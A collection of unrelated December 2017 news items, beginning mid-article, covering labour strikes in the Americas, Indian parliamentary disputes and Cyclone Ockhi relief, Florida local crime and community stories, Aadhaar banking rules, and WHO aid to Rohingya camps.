President Donald Trump exhibited the true outlook of the ruling oligarchy when he visited the island two weeks after the storm and lobbed paper towels into a crowd. Trump contrasted the low death toll, which was then only 16, to the real catastrophe of Hurricane Katrina in 2005, which killed more than 1,800 in New Orleans and along the US Gulf Coast.

You can be very proud of all of your people, all of our people working together. Sixteen versus literally thousands of people, Trump boasted. Everybody can really be very proud of whats taken place in Puerto Rico. The president subsequently threatened to remove the limited aid being provided by the Federal Emergency Management Agency (FEMA) and other federal agencies and suggested that the Puerto Rican people were responsible for the disaster.
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The United States

SEIU calls off week-long Oakland city strike without contract

The Service Employees International Union (SEIU) called off the seven-day strike by 2,000 city workers in Oakland, California December 11 without achieving a contract. The decision came after a day of mediated negotiations that supposedly reached agreement covering working conditions, but no details were forthcoming.

The two sides have agreed on a four percent wage increase for the contracts first year, but workers consider the citys offer of a one percent increase in year two tied to city revenue goals unacceptable. Workers are also demanding an end to the denial of benefits to part-time workers and want staffing increases to meet workload demands.

SEIU president Felipe Cuevas said the mediated talks represented a new tone and demonstrated flexibility and openness to continue negotiations. Oakland mayor Libbie Schaaf, responded, I want to thank SEIUs bargaining team for their commitment to the mediation process, and for bringing workers back to work in service of our community.

Typically the SEIU attempts to use one-day strikes to deflect militancy in the rank-and-file. In this case the seven-day strike appeared to be a necessary departure in order to vent the anger of workers.

In addition to the 2,000 SEIU members on strike, another 1,000 members of the International Federation of Professional and Technical Engineers Local 21 walked out on a sympathy strike. The IFPTE is also negotiating with the city. In addition, another 1,000 members of the International Brotherhood of Electrical Workers honored SEIU picket lines.

Labor Department to allow restaurant owners to take control of workers tips

The Labor Department proposed a new rule December 5 that would allow restaurant employers to take control of tips from employees. The rule is being touted as a way for owners to equally redistribute tips from servers to back-of-house employees such as cooks.

The big lie is that it will lead to restaurants sharing these tips with back of house, said the Economic Policy Institute. The biggest effect of it will be employers being able to control tips and take a big chunk of them as long as they pay the minimum wage.

The institute warns that restaurant owners could confiscate between $523 million and $14.2 billion a year with a best estimate of $5.8 billion. The rule would roll back a section of a 2011 Department of Labor ruling that barred employers from pocketing tips.

Latin America

Mexican teachers strike to demand investigation of school director

Teachers at the Professor Carlos A. Carrillo Normal School of Santa Maria del Oro in Durango, Mexico stopped work on December 15. The teachers struck to demand an audit of the current directors administration of the teacher training school, Modesta Corral Ramos.

The teachers went on strike on the third day of a student walkout. According to a durangopress.com report, the students demanded the directors immediate and irrevocable firing, due to her arrogant, haughty and indifferent attitude to the needs of the students, as well as her evident manipulation of announcements or official documentation, in favor of whomever [she] holds in regard.

The students also expressed doubts about the handling of financial resources under her stewardship, and they demanded transparency in the assignment of scholarships. Moreover, they complained of the poor condition of the transport vehicles.

Mexican educational workers walk out over year-end bonus

Academic and administrative workers of the Oaxaca Bachelors College (Cobao) in Pueblo Nuevo went on strike December 15 to demand their year-end bonus. Striking teachers say that the administration has refused to pay the bonus, known as el aguinaldo, to over 200 teachers, and has refused to respond to their demands.

The educational workers took the action without the support of their union, Sutcobao. One union functionary told reporters that since the midnight payment deadline had not been reached, the worker were obliged to return to work. The workers remained on strike nonetheless, and declared that they would not discount stronger measures.

Workers in Chiapas health center strike for 12 hours to protest shortages

More than 90 workers for the Prudencio Moscoso Health Center in San Cristobal de Las Casas, in the southern Mexican state of Chiapas, struck from 8:00 am to 8:00 pm on December 15. They took the action to protest the lack of necessary supplies, equipment and medicine at the institution, as well as local authorities contemptuous attitude toward the workers and residents.

A male nurse at the center told reporters that the health center was in the midst of one of the worst crises that the Health Secretariat is going through and listed among the workers complaints scarce or inadequate supplies, medicine and equipment and refusal to pay travel.

He also noted that as the crisis worsens, the authorities have mocked us, and as people are dying of hunger, cold and lack of medication, the authorities are spending money for political campaigns in preparation for upcoming elections. Budget projections for the region next year are around half of 2017. The Moscoso facility is not alone; in fact, workers from other health centers in Chiapas went to San Cristobal de Las Casas to express support for the strikers.

Honduran medical workers strike passes one-month mark

Last week, medical specialists in the Honduran Social Security Institute (IHSS) completed one month of a stoppage of external services, while emergency and some specialized services were provided.

The Medical College of Honduras (CMH), which represents the doctors, is demanding that the IHSS comply with the 4.5 percent pay raise that it agreed to in contract negotiations December 5. However, the next day the IHSSs Intervention Board claimed that it lacked the funds to carry out that promise, reactivating the strike.

CMH and IHSS have continued meetings while the strike remains in force.

Chilean rail workers strike in third week

A strike by workers for Tren Central, a commuter rail service headquartered in Santiago, Chile, completed its second week on December 14. The workers union called the strike following fruitless meetings in late November. In one brief meeting on December 5, from there absolutely nothing was accomplished, complained union president Fernando Arcos.

The main demands of the workers concern equalization of pay by classification, distribution of shifts, travel allowances for workers who have to stay at sites overnight, and bonuses for risky work and transfers. The company has refused to meet with the union over these issues.

The local government was quick to come to the aid of Tren Central, adding buses from the Transantiago public transit system to routes normally served by Tren Central. Arcos accused the government of violating labor law by providing hidden strike replacement workers through its contingency plan. The union has called demonstrations and other protest actions to put more pressure on Tren Central.

24-hour strike by Argentine health workers over late wage payments

Workers for a sanitarium in Argentinas Rio Negro province struck December 14 and 15 in its headquarters in the cities of Cipolletti and Cinco Saltos. The workers are members of the Health Workers Association, which announced the job action.

The workers complain that Sanitorio Rio Negro has more than once delayed payment of their salaries, or has paid it in installments, most recently last week. Over 300 workers are affected, but the company has repeatedly turned deaf ears to their grievances.

Buenos Aires bank employees strike over planned retirement plan changes

Employees at the Bank of Buenos Aires Province, or Bapro, walked off the job on December 14 to protest changes to their pension plan promoted by the governor, Maria Eugenia Vidal. The governor wants to line up the bank workers pension plan with the one proposed by President Mauricio Macri for Argentinas state workers.

The proposed national plan, which was scheduled to be debated in the Congress this week, would raise the retirement age and change the method for calculating benefits, to the detriment of retirees.

Mobilizations against the national plan have already taken place, including a protest by state workers and teachers near the Congress on the 14th that included Bapro workers. A nationwide strike and protest for this week was called by a number of union federations, such as the Argentina Workers Central, the General Confederation of Labor and the State Workers Association, to protest the changes.

Canada

Ontario salt mine guards locked out

Thirteen employees of ASAP Secured Inc. in the town of Goderich, Ontario were locked out without warning last week at the giant underground salt mine owned by Compass Minerals on the shores of Lake Huron.

The guards and other security workers have been involved in first contract negotiations since joining the United Steelworkers of America (USW) last year. They voted unanimously to reject a contract offer last June and the company has since refused to improve the wage provisions that elicited solid opposition.

The lockout was announced as workers arrived for their shift last Sunday following the announcement by the union that it would be seeking binding arbitration. Kansas based Compass Minerals is the largest salt producer in North America with over 2,000 employees globally and its Goderich operation includes the largest rock salt mine in the world.
By PTI: Jammu, Dec 19 (PTI) A large cache of arms and ammunition was seized in Gamir-Mughla area of Jammu and Kashmirs Rajouri in a joint operation by the Army and the police, an Army official said.

Weapons, including an AK-47 rifle and a Rocket propelled Grenade (RPG), were seized last evening during the operation which was launched following an input, the officer said.

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Two pistols and a sizeable quantity of AK and Pika ammunition were also seized, he said. PTI AB AAR

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The Congress, once again, created an uproar in Rajya Sabha and Lok Sabha as the party demanded that PM Narendra Modi apologise for his remarks about Manmohan Singh and Pakistan.

By India Today Web Desk: The Gujarat Assembly election 2017 results are out. The bruising Bharatiya Janata Party vs Congress battle has ended with the victory of the former. The latter, however, looks to be in no mood to forgive Prime Minister Narendra Modi for his 'Pakistan' remark, a remark directed at his predecessor Manmohan Singh.

The party, which saw its seat tally in Gujarat go up by 16, raked up the matter once again in both houses of Parliament. "Dr. Manmohan Singh ji's integrity and loyalty to the country has been questioned. PM should come in the house and make it clear," Congress leader Ghulam Nabi Azad said in Rajya Sabha as the Grand Old Party demanded that PM Modi apologise for his Pakistan remark.

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In Lok Sabha, Speaker Sumitra Mahajan briefly adjourned the house as Congress members raised a din. As soon as the house met again, the Congress members tried to raise the issue but Mahajan denied them permission and went ahead with the Question Hour.

Congress members, however, trooped into the well of the House and continued to raise slogans demanding an apology from Modi. "All elections are over, the things that are said on the roads shall not come to Parliament...I am not allowing you to raise the issue," Mahajan said.

An angry Mahajan then slammed the Congress for disrupting the very winter session of Parliament, which they had insisted on convening and was unhappy over its delay. The party later walked out of the Lok Sabha.

In Rajya Sabha, on the other hand, several Opposition and government leaders went into a huddle with Finance Minister Arun Jaitley. Jaitley and Azad were expected to make a statement in the Upper House, as of last updating this report.

'SECRET MEETING'

On the campaign trail in Gujarat, PM Modi essentially alleged that senior Congress leaders, including ex-PM Singh and Mani Shankar Ayiar (now suspended from the party) had colluded with Pakistani officials. The collusion, PM Modi had hinted at a December 10 rally, was a conspiracy to prevent the BJP from winning the Gujarat election.

The Congress took offence to the allegations raised by the Prime Minister and came out hitting. Manmohan Singh, himself, refuted the claims made by Modi in Gujarat in an unusually aggressive statement. "I am deeply pained and anguished by the falsehood and canards being spread [by PM Modi] to score political points in a lost cause," Singh said, first in a written statement and then on video.

"Fearing imminent defeat in Gujarat, desperation of Prime Minister to hurl every abuse and latch on to every straw is palpable," Singh went on to say as he questioned why PM Modi had visited Pakistan "uninvited" after the terrorist attacks in Udhampur and Gurdaspur.

"Let him also tell the country the reason for inviting the infamous ISI of Pakistan to our strategic air base in Pathankot to investigate a terror attack that emanated from Pakistan," Singh said. "My track record of public service to the country over last five decades is known to everyone. No one, including Sh. Modi, can lamely question it to gain lost political ground.

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"I sincerely hope that Prime Minister will show the maturity and gravitas expected of the high office he holds instead of concentrating his energy solely on erroneously conceived brownie points," Singh said, ending his statement with: "I sincerely hope that he will apologize to the Nation for his ill thought transgression to restore the dignity of the office he occupies."

(The story has been updated with additional details provided by news agency IANS)

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Opposition demanded an apology from PM Narendra Modi. PM Modi had alleged Congress's collusion with Pakistan during Gujarat assembly elections.

By Supriya Bhardwaj: Daggers were drawn as BJP government and Congress sparred over PM Modi's allegations against former Prime Minister Manmohan Singh during Gujarat poll campaign.

During the election campaign PM Modi had alleged that at a dinner party held at Mani Shankar Iyer's residence,Former PM Manmohan Singh colluded with Pakistani officials to influence the Gujarat elections.

Congress raised the issue in Rajya Sabha on December 18, seeking apology from PM Modi. Rajya Sabha was adjourned after that.

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On Tuesday morning the Congress picked up the fight where it had left on Monday.

Leader of opposition, Ghulam Nabi Azad raised the issue during the question hour.

"Dr. Singh's dignity and loyalty has been questioned. That is a big question. PM should come to the House and make it clear," Azad said.

Following this, the Chairman of Rajya Sabha Venkaiya Naidu met the opposition leaders and asked them to finad an amiable solution.

While Shooting down the Congress' demand of an explanation or apology to Parliament and nation from PMi Modi, Leader of House, Finance Minister Arun Jaitley gave an assurance that a 'solution' would be found to end the stalemate.

To break the deadlock, Jaitley met Leader of the opposition on Tuesday evening.

"The matter is being resolved," sources said after the meeting between the two leaders was over.

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TALLAHASSEE, Fla. (WTXL) - Family, friends and colleagues said their final goodbyes to a Tallahassee firefighter.

Engineer Jeff Atkinson died Thursday night while on duty. He had just turned 43 years old.

Jeff Atkinson was described as "everybody's best friend," a good father and husband, and a man of faith. More than a hundred first responders and loved ones said goodbye to a man everyone seemed to love and respect.

The sudden loss of Atkinson broke hearts across the community. The 17-year veteran's colleagues had nothing but praise for him.

"Truly a person that was loved," said Chief Jerome Gaines with the Tallahassee Fire Department. "He was a person that was respected. He was a person that had an impact on the lives of a lot of people."

"Jeff showed me how to be a better firefighter, a better friend, and a better father, and I will honor him by trying to do so every day," said Engineer Nathan Roberts who's also with TFD.

"I make Jeff this promise," said Engineer Chad Sims with TFD. "When I ever do get promoted to lieutenant, you got one of these, brother. I'm bringing the other one to you."

First responders came from all over the sunshine state to say goodbye. Atkinson's wife and four-year-old daughter followed his casket, draped with the American flag, as it entered and left the venue.

"He was committed to his profession," said Chief Gaines. "He was committed to his family, and he loved doing what he was called to do, and that was to serve this community."

Before the funeral, a processional led Atkinson's body into the Pavilion at the Centre of Tallahassee. He was buried shortly after the ceremony, surrounded by friends and family.
TALLAHASSEE, Fla. (WTXL) - U.S. Senator Bill Nelson has filed legislation to rename the U.S. Department of Veterans Affairs Health Care Center on Orange Avenue in Tallahassee, in honor of Marine Corps Sgt. Ernest "Boots" Thomas.

Thomas first joined the marines in 1942, shortly after the U.S. was attacked at Pearl Harbor. He was killed in action on March 3, 1945, just days after the now-famous flag raising on Iwo Jima.

Sergeant Thomas is an American hero, Nelson said. I can think of no more fitting tribute to his extraordinary service to our country than the renaming of this VA clinic in his honor.

Thomas was born in Tampa before moving with his family to Monticello at the age of eight. He graduated from Monticello High School in 1941.

The legislation, co-sponsored by U.S. Senator Marco Rubio, now heads to the senate veterans affairs committee for consideration.

A copy of the bill is available here.
WINTER HAVEN, Fla. (WTXL) - Police say a Florida high school teacher is facing felony charges for continuing to have sexually explicit conversations with a 15-year-old victim even after finding out the victim's age.

The Winter Haven Police Department says that 27-year-old Robin Dunlap, who is a teacher at Haines City High School, has been arrested after sexting and sending nude photos to a 15-year-old Texas boy.

Police say that in September, Dunlap turned herself in for sending the nudes. At that time, she told police that she sent the photos before he knew his age.

The victim had represented himself as a 19 year-old throughout the conversations the two had over Xbox One, Kik and video chat. After finding out the truth, Dunlap chose to turn herself in.

However, the police department received information from the victim's family alleging that Dunlap continued to have conversations with the victim at the end of October.

Detectives were able to confirm the allegations and met Dunlap at her home on Sunday to confront her about the ongoing contact.

"Dunlap didn't deny and in fact told investigators that she continued to speak to the victim because he is the only person that she can talk to and the only one who understands her," police wrote in a press release.

Dunlap also gave investigators consent to look at her phones, where police found evidence of sexually explicit conversations between Dunlap and the victim.

"There is absolutely no excuse for an adult, especially a high school teacher, to continue sexually explicit conversations with a 15 year-old long after his real age is revealed," said Chief Charlie Bird. "The vulnerable age of this victim and the fact that this woman took advantage of him for her own personal needs is inexcusable."

Based on the fact that Dunlap knew the age of the victim, yet continued to

have sexually explicit conversations with the 15 year-old, Dunlap was taken

into custody and booked into the Polk County Jail.

She has been charged with transmitting material harmful to minor (F.S.S. 847.0138) F3 and using 2-way communication device to commit a felon (F.S.S. 934.215) F3.

According to WFTS, Polk County Public Schools released this statement:

"Robin Dunlap was working as a physics teacher at Haines City High School International Baccalaureate.

The districts Human Resources department has been conducting an internal investigation on this employee since October. She was placed on administrative leave Oct. 3, and was later reassigned to our facility at the Bartow Airbase pending the resolution of the criminal investigation. There is no past disciplinary action in her personnel file.

"Our first priority must be the safety of our students, said Superintendent Jacqueline Byrd. We immediately took this teacher out of the classroom when these allegations surfaced and began our internal investigation. As educators, we are held to the highest of standards, and we must do everything in our power to protect children. This type of conduct runs contrary to that mission, and is disgusting and indefensible. I have instructed my HR staff to immediately begin the process of termination. We will continue to cooperate fully with law enforcement."
GADSDEN COUNTY, Fla. (WTXL) - The Gadsden County Sheriff's Office says they are boosting investigations into drug activity in the area.

This after deputies searched a house on Deerview Drive in Havana where they uncovered a "high tech" marijuana grow operation, finding 18 pounds of the drug.

Deputies arrested Jason Seeders, who has now posted a $10,000 bond on multiple drug charges. Deputies are encouraging the community, to continue to come forward with tips on drug activity.
CHARLOTTE COUNTY, FL (WWSB) - A Florida man is facing felony charges after authorities discovered a marijuana cultivation enterprise inside his home.

The narcotics unit of Charlotte County Sheriff's office executed a search warrants for a house located on Disston Avenue in Punta Gorda, where a marijuana cultivation enterprise was found.

According to the CCSO they found an an unattached structure next to the residence with 21 mature marijuana plants found and weighed a total of 221.4 pounds. They also found 31 marijuana clone plants, 10 small marijuana plants and over 72 grams of bagged marijuana. The CCSO seized $2,370 in U.S. currency from the warrant.

Lazaro Banos was arrested on multiple charges related to the manufacture of marijuana. The Department of Children and Families were notified in regards to a juvenile and special needs adult living in the residence.

The Charlotte County Sheriffs Office aggressively pursues tips related to illegal drug sales and manufacturing. Tips can be emailed to the Narcotics Unit at narcoticsunit@ccsofl.net or called in to 941-575-5361.
WASHINGTON COUNTY, Fla. (WTXL) - Two inmates escaped from the Washington County Jail at approximately 11 p.m. on Sunday night.

Deputies believe the two escapees have stolen a car in an attempt to flee the area.

Reports say a 1996 silver or beige Lincoln town-car with a vinyl top and a Florida dealer license plate in the back window with a tag number of PH712D, was stolen from the area of Hwy. 77 and Brickyard Road.

The Washington County Sheriff's Office and other agencies say they are searching for Ronly Diaz Pardo, a 27-year-old Hispanic male, approximately 6 1 and 183 pounds.

Officials say Pardo is a Department of Corrections inmate that was recently transported to the Washington County Jail on a new charge of murder. Pardo is currently serving a sentence for two counts of sell manufacture or delivery of marijuana and lewd and lascivious battery out of Collier County, Florida.

The second escapee has been identified as David Allan Anderson, a 39-year-old white male, approximately 5 7 and 175 pounds. Anderson was being held in the Washington County Jail on the following charges:

fleeing and eluding law enforcement with disregard to safety of person or property,

use or display of weapon during felony offense,

possession of methamphetamine with intent to sell or deliver

trafficking of methamphetamine, possession of marijuana with intent to sell manufacture or deliver,

possession of a controlled substance without prescription

possession of paraphernalia

Anderson currently has a detainer for the U.S. Marshals for trafficking in methamphetamine as well.

Sheriff Crews of WCSO is asking anyone that may come into contact with the inmates to use extreme caution and dial 911 immediately.

If you have any knowledge of crimes being committed, or tips, please contact the Washington County Sheriffs Office at 850-638-6111.

You may also contact them anonymously by calling 850-638-TIPS (8477) or by email at tips@wcso.us.
By PTI: UIDAI

New Delhi, Dec 19 (PTI) To avoid a repeat of Bharti Airtel-type fiasco, the Aadhaar-issuing authority UIDAI today directed banks to seek an explicit consent of the beneficiary before changing the account to which the government subsidy is being remitted.

Also, the banks have been asked to intimate the beneficiary about the change within 24-hours through SMS and e-mail as well as provide an option to the person to reverse the change, according to a Gazette notification issued by the Unique Identification Authority of India (UIDAI).

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The notification follows complaints of government grants, particularly LPG subsidy, being credited into the last account authenticated using national biometric ID, Aadhaar.

The situation was worse in case of Bharti Airtel, which allegedly opened unsolicited payment bank accounts of its unsuspecting mobile customers who had used Aadhaar to verify their SIMs.

The government has made it mandatory for all bank accounts as well as SIMs to be verified by providing the 12- digit biometric identification number Aadhaar.

While subsidies totaling over Rs 190 crore had flown into the unsolicited accounts opened by Airtel Payments Bank, the accounts had also got changed for beneficiaries who had multiple bank accounts as the last account authenticated became the one meant for subsidy receiving.

The UIDAI, in the notification, said the National Payments Corporation of India (NPCI) shall allow override requests or change of subsidy-receiving account, only if it is accompanied by the name of the beneficiarys current bank and a confirmation that explicit consent has been obtained for the switchover.

Till this provision is implemented, "NPCI shall disable the override feature" in the Aadhaar-based bank account mapping process, the notification said.

When contacted, UIDAI CEO Ajay Bhushan Pandey told PTI that "a very secure process has been evolved to put an effective stop to switching of bank accounts without" informing and seeking consent of consumers.

As per the new process, banks will send request for mapping of a new account or overriding an existing bank account to NPCI only after taking explicit and informed consent of their customers, it said.

Further, the banks would also have to inform each account holder through SMS and email about the overriding request within 24 hours, providing name of the current bank on the mapper and the last four digits of the account number of the new bank along with the bank name.

In case, the consumer does not wish to link the DBT to the new account, the bank will have to provide the user with a method to reverse the mapping.

In absence of an SMS or email (for those consumer who do not have e-mail or mobile connection), the physical signature on the paper consent form will have to taken by the bank prior to sending the request on NPCI mapper.

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All these records will have to be retained by the banks for seven years.

"Banks and NPCI shall make available the aforesaid records at the time of the audit as per the provisions of Aadhaar Authentication Regulations 2016," the notification added.

The notification detailed the reason for the revamp of the process and went on to list the Bharti Airtel issue as well as general instances of last bank account authenticated becoming the subsidy receiving account.

"As a result, the subsidy from the government under the various schemes are getting credited in the new/latest bank account on Aadhaar Payment Bridge (APB) mapper without the knowledge and informed consent of the beneficiary," the notification said.

PTI MBI MKJ

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As I wrote out my membership check to the Nebraska Press Women (NPW) and National Federation of Press Women (NFPW), I thought to myself, I need to spread the word about this great group of people!

If you are a professional communicator in any capacity from print, broadcasting, book publishing to public relations and marketing, we want to welcome you into a great organization. Maybe you are an educator who is teaching high school or college journalism courses. We want you in this organization! Maybe you are a seasoned, published author or dream of writing a book. We want you in this organization too!

We are calling on communicators from all backgrounds to come together in this critical time when words are being slung all about our great state and nation. Some of the words are great and some are not-so-great. Regardless, many of them are tweeted, sometimes deleted and often repeated. In these times of frustration with some of the words circling around the world, I think its the best time to sharpen the mind and the pencil and go forward with some of the most precious freedoms we still have in this nation, the freedom of speech and expression.

When I was first starting out my journalism career, my friend and peer at the York News-Times at the time, Jenny Hammond, encouraged me to become a member. More than a decade later, I am still a member because the women and men too (yes men, you can also join) that I have met through NPW and NFPW are wonderful people. Many of them have spent their entire adult careers dedicated to ensuring stories are told accurately and passionately across an array of communication outlets. Some of them committed their talents to covering the lives of their rural communities, writing news you cannot read anywhere else but the local newspaper. Some have spent countless hours covering city and county meetings that most do not attend. Others have covered the endless changes and debates in the agricultural arena. Still others have written novels and memoirs.

At first I was intimidated walking into a room full of talented writers and communication professionals. However, it wasnt long before I found a family of communicators who enjoy reading, writing, designing, reporting, recording, exploring and constantly questioning their world like I do. What a great way to polish each others professional expertise with discussion, resource-sharing and fun!

Why is it a great time to join? One reason is because its time to get your hard work submitted into the 2018 NFPW contest. I have done so in the past and am going to do so this year too. Its a great way to get feedback on your work and to learn from others in the business.

You can join or renew NFPW using the online form on the nfpw.org website. After you have joined, learn about the contest by checking out: https://nfpw.org/wp/communications-contest/.

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Carrying on the cause and purpose of our great first amendment rights of freely expressing  who, what, when, where, why and how  starts here, with the caring, creative, courageous group of people I have met through my membership in NPW and NFPW. Tell your story. Join us!
This morning, Prime Minister Narendra Modi began a visit to regions of Tamil Nadu, Kerala, and Lakshadweep affected by Cyclone Ockhi.

By India Today Web Desk: Prime Minister Narendra Modi will visit areas of Tamil Nadu, Kerala, and Lakshadweep that bore the brunt of the intense tropical cyclone, Ockhi, which claimed several lives, and caused immense damage to crops and property.

Modi, who is on a one-day visit to these regions, will be in Kavaratti, Kanyakumari and Thiruvananthapuram, where he'll review the status of relief operations, according to official sources. He reached Mangalore (in Karnataka) last night.

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The PM said yesterday his government "has been monitoring the situation round the clock and ensuring proper rescue and relief operation."

Since #CycloneOckhi struck, Centre has been monitoring the situation round the clock and ensuring proper rescue and relief operations. We have been working closely with the Governments of the affected states. We stand shoulder to shoulder with all those affected by the cyclone.- Narendra Modi (@narendramodi) December 18, 2017

Last week, Congress president Rahul Gandhi, who travelled to Kerala and Tamil Nadu, wrote to Modi to ask for a comprehensive special financial package of the families of fishermen who died in Cyclone Ockhi.

Here's what you need to know about Modi's visit, in 5 points.

DAY PLAN: Modi will first travel to Agatti, and then to Kavratti. He'll then return to Agatti, and fly to Thiruvananthapuram in Kerala. And after a trip to Kanyakumari, he'll return to Thiruvananthapuram. He'll fly back to Delhi after meeting Kerala Chief Minister Pinarayi Vijayan.

FIRST-HAND INFORMATION: Kanyakumari district officials told PTI that Modi would get a first-hand report from some of the fishermen affected by cyclone Ockhi. India Today has learned that three people from each of the eight affected willages have been chosen. Villagers are upset since they feel the PM should visit them (in the villages), not the other way around.

Modi will also meet with officials in Kanyakumari, located at Tamil Nadu's - and mainland India's southernmost point.

VILLAGE VISIT: Back in Thiruvananthapuram, Modi will visit the fishing village of Poonthura. Some of the fishermen who were killed in cyclone Ockhi came from this village.

MEETING WITH CM: Modi will meet Chief Minister Pinarayi Vijayan, Revenue Minister E Chandrasekharan, Fisheries Minister J Mercykutty and other members of the Kerala Cabinet, Vijayan's office said. The Chief Secretary will give a presentation on the devastation Cyclone Ockhi has caused in coastal regions like Poonthura, Vizhinjam, Pozhiyur and Adimalithura.

NATIONAL DISASTER: Kerala wants central assistance to the tune of Rs 1,843 crore. It also wants the devastation caused by Cyclone Ockhi to be declared a national disaster. The state has asked for boat-owners help in locating missing fishermen.

Meanwhile, MK Stalin, the working president of Tamil Nadu's leading Opposition party, has urged Modi to give the state Rs 2,000 crore from the central fund. He said the AIADMK governemnt had failed to seek central assistance.

Since PM @narendramodi is visiting Kanyakumari today, I appeal to the PM to sanction Rs.2000 crore from the central fund to mitigate the suffering of the people. The CM must insist for immediate central assistance.- M.K.Stalin (@mkstalin) December 19, 2017

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WATCH | Blame game Over missing fishermen In Kerala after Cyclone Ockhi

(Inputs from Shalini Lobo and PTI)

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PM Narendra Modi will visit coastal areas in Kerala which were affected by Cyclone Ockhi. Fishermen hoping for a comprehensive package for the relief and rehabilitation of victims, are pinning their hopes on this visit.

Families of missing fishermen from Kerala gather at Vizhinjam harbour in Thiruvananthapuram on December 3. Cyclone Ockhi left a trail of devastation in the state, and PM Narendra Modi will visit coastal areas today. (Photo: PTI)

By Jeemon Jacob: Coastal areas in Kerala that were hit by cyclone Ockhi are waiting to welcome Prime Minister Narendra Modi, who will also visit Lakshadweep and Tamil Nadu today.

Fishermen have pinned their hopes on Modi's visit: an ideal Christmas gift would be a comprehensive package for the relief and rehabilitation of the victims killed in Cyclone Ockhi.

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Ockhi has killed 72 people. Another 114 from Kerala are missing. Chief Minister Pinarayi Vijayan's government has deployed 200 boats and initiated an aggressive combing operation with boat-owners' support - an operation that has been extended to the Goan coast.

Marine enforcement and coast guards are guiding the operation.

The Kerala government has also announced compensation to the tune of Rs 25 lakh for families of the deceased. PM Narendra Modi will address fishermen at the St Thomas High School Ground in Poonthura in the afternoon. Later, he'll meet the Kerala Chief Minister and his Cabinet at the Government Guest House Thycaud.

He will also meet Bharatiya Janata Party (BJP) leaders before returning to New Delhi. "We expect that he would announce a package for the rehabilitation of the victims. So far only Rs 2 lakh compensation was announced by the Union government. We are demanding Rs. 3500 crore rehabilitation package from the Centre," Trivandrum Latin Archbishop Maria Calist Soosa Pakiam told India Today.

The archbishop and church leaders will present a memorandum to Narendra Modi, seeking the BJP government's intervention to address the needs of the fishing community.

"We want (the) Centre's help in implementing safety standards for the fishermen in the sea," the archbishop pointed out.

The Kerala government will also make a presentation to Modi, seeking central assistance for the rehabilitation projects. Kerala Chief Secretary KM Abraham will make the presentation.

Meanwhile, the Vijayan administration denied reports which quoted state BJP President Kummanam Rajasekharan as saying the government tried to stop Narendra Modi's visit to coastal areas. The PM's schedule wasn't prepared by the state government, the Kerala government clarified.

WATCH | Blame game Over missing fishermen In Kerala after Cyclone Ockhi

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Washington: Former Alaskan Governor Sarah Palin's oldest son has been charged with beating up his father, the media reported.

Court records showed on Monday that the incident took place at the Palin home in Wasilla, Alaska, where Track Palin bloodied his father, Todd, in a dispute over a truck on December 16, reports CNN.

The 28-year-old was arrested on three charges, including assault. The dispute began when he called to say he wanted to come get the truck, and his father refused, according to court documents.

Track Palin called the officers on the scene "peasants" and told them to abandon their weapons when they attempted to communicate with him, the records said.

At one point, he got onto the garage roof before eventually being detained.

Sarah Palin said her son was "freaking out" and "was on some type of medication", reports CNN.

The incident is not his first arrest related to domestic violence.

He was arrested in 2016 and charged with domestic violence assault involving a female, interfering with a report of domestic violence and possession of a weapon while intoxicated.

Sarah Palin attributed her son's actions in 2016 to his time serving overseas.
New Delhi: The World Health Organisation has released USD 1.5 million to scale up health operations in Bangladesh's Rohingya refugee camps over the next six months, in response to a "diphtheria outbreak" there.

The global body said it has deployed additional staff and resources to respond to the rapidly spreading outbreak of the disease among the refugees in Cox's Bazar, adding that it has seen more than "1,500 probable cases including 21 deaths".

"The WHO has released USD 1.5 million from its Contingency Fund for Emergencies to help finance scaling up of health operations in Cox's Bazar over the next six months," the health body said in a statement here today.

"The Rohingya refugees are an extremely vulnerable population with low routine vaccination coverage. WHO is applying a 'no regrets' policy when allocating resources to help prevent and protect communities from the spread of diphtheria and ensure that those who are sick receive critical care and treatment," said Roderico Ofrin, Regional Emergency Director, WHO South-East Asia Regional Office.

"The funds released will be crucial in sustaining our efforts until we receive more support from donors for this response," Ofrin was quoted as saying in the statement.

Over the next six months, the funds will be used to support immunisation activities, improve laboratory capacity, support community engagement, contact tracing and case management in health facilities through critical guidance as well as the provision of essential medicines and supplies.

In the past week, WHO has deployed additional experts, procured hospital beds to accommodate more patients in diphtheria treatment centres, provided 1,345 vials of lifesaving diphtheria anti-toxins and 3 lakh doses of antibiotics, and is working with health authorities to support ongoing vaccination efforts for both children and health workers, it said.

In addition to this, WHO is working with more than 80 health partners to improve access to essential life-saving primary and secondary health services in Cox's Bazar, over 300 kms from Dhaka.

"For 2018, the health sector will request additional funding to help 1.2 million people living in refugee camps and temporary settlements," the statement added.
New Delhi: Electric two-wheeler maker Okinawa Autotech plans to introduce e-bike in a couple of months as part of its plans to scale up operations in the country.

The company, which today launched its second electric scooter Praise priced at Rs 59,889, has set a target of selling 50,000 units in the next fiscal.

With its first scooter Pride, launched in January this year, the company expects to close the current fiscal with sales of 5,000 units.

"We plan to launch a e-motorcycle in couple of months. We may follow it with another model later," Okinawa Autotech MD Jeetender Sharma told PTI.

The company also plans to come up with a new manufacturing plant in next couple of years.

"We have tentatively shortlisted some locations and depending upon the market we plan to establish a second plant," Sharma said.

The company currently has a plant at Bhiwadi, Rajasthan with an installed capacity of 90,000 units per annum.

Commenting on the new product Praise, Sharma said the model has a range of around 170-200 kilometres on a single charge and can attain a top speed of 75 kilometres per hour.

It also comes with a boot capacity of 19.5 litres and various features like disc brakes, mobile charging point, alloy wheels and different driving modes.
New Delhi: Recovering from the double impact of demonetisation and GST implementation, FMCG companies and consumer durable firms are pinning (rpt) pinning hopes on 2018 that improved market sentiment will bring them back to the growth path.

With the streamlining of the process after GST implementation behind them, the companies feel that the prospects of good economic growth, coupled with a revival in demand and consumption, will help them overcome the hit they took in volumes and profits in 2017.

Interestingly, these firms believe that the demand should be evenly distributed between urban and rural markets.

"With the market sentiment showing signs of improvement and stability returning post-GST implementation, we expect the demand scenario to move up, both in rural and urban markets," Whirlpool of India Managing Director Sunil D Souza told PTI.

Expressing similar views, Emami Ltd Director Harsha Vardhan Agarwal said retail and rural businesses have bounced back fully and are growing in healthy double digits while wholesale channel is yet to recover fully at about 80 per cent of the base.

"We believe that economic reforms like GST and demonetisation would help drive economic growth in a structured way in the long term and we expect further improvement in our performance in coming quarters," he said.

Sony India Head of Sales Satish Padmanabhan also said the industry is already seeing "positive comeback signs post the implementation of GST and expects 2018 to only be better".

Recollecting challenges faced in 2017, GCPL Business Head (India and SAARC) Sunil Kataria said, "Demonetisation was a black swan event for the Indian economy. Among many challenges, the biggest disruption was caused in the distribution network for FMCG companies."

